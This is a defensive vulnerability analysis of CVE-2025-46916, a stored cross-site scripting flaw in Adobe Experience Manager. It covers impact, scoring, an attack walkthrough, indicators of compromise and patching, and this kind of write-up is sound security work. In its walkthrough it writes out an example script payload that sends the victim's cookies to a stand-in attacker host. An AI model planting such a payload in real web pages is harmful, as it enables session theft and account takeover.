CVE-2025-46916: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-46916 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.22 and earlier (on-premise) and AEM Cloud Service versions prior to 2025.5.0. The vulnerability was published on June 10, 2025, with a patch made available on June 12, 2025. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically of the stored (persistent) variant. A low-privileged, network-accessible attacker can inject malicious JavaScript into vulnerable AEM form fields; the payload is stored server-side and executed in the browser of any user who subsequently visits the page containing the compromised field. Exploitation requires user interaction (a victim browsing to the affected page) but no elevated privileges beyond a basic authenticated account (Adobe Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session within the AEM application. This can lead to session cookie theft, credential harvesting, unauthorized actions performed on behalf of the victim, and potential compromise of user interactions within the AEM environment. The scope is changed (cross-origin impact), with low confidentiality and low integrity impact, and no direct availability impact (Adobe Advisory).

There is currently no public proof-of-concept exploit code and no evidence of in-the-wild exploitation for CVE-2025-46916. The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of exploitation in the near term. No threat actor attribution has been reported, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Adobe Advisory).

1. Reconnaissance: Identify an Adobe Experience Manager instance running version 6.5.22 or earlier (on-premise) or Cloud Service prior to 2025.5.0. Obtain a low-privileged authenticated account on the target AEM instance.
2. Identify vulnerable form field: Navigate to an AEM page or component that contains a form field susceptible to stored XSS (e.g., a text input or rich-text field that does not properly sanitize input).
3. Inject malicious payload: Submit a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable form field and save or submit the form.
4. Payload persistence: The malicious script is stored server-side within AEM's content repository (JCR).
5. Victim triggers execution: When a victim (e.g., an AEM author, administrator, or site visitor) browses to the page containing the compromised field, the stored JavaScript executes in their browser, potentially stealing session cookies or performing actions on their behalf (Adobe Advisory).

• Logs: AEM access logs showing POST requests to form submission endpoints containing encoded script tags or JavaScript event handlers (e.g., %3Cscript%3E, onerror=, onload=).
• Content Repository: Unexpected <script> tags or JavaScript event attributes stored within AEM page content nodes (JCR nodes) when inspecting via CRXDE Lite or package manager exports.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after visiting AEM-authored pages, potentially carrying cookie or session data in query parameters.
• Browser: Unexpected JavaScript execution or redirects when authenticated users access specific AEM pages or components.

Adobe has released patches addressing this vulnerability. Users should upgrade to AEM 6.5.23.0 (on-premise) or AEM Cloud Service 2025.5.0 or later. As interim mitigations, administrators should implement strict input validation and output encoding for all AEM form fields, enforce a Content Security Policy (CSP) to restrict unauthorized script execution, and conduct a security review of existing form fields for injected content. Monitoring for suspicious script injections in the content repository is also recommended (Adobe Advisory).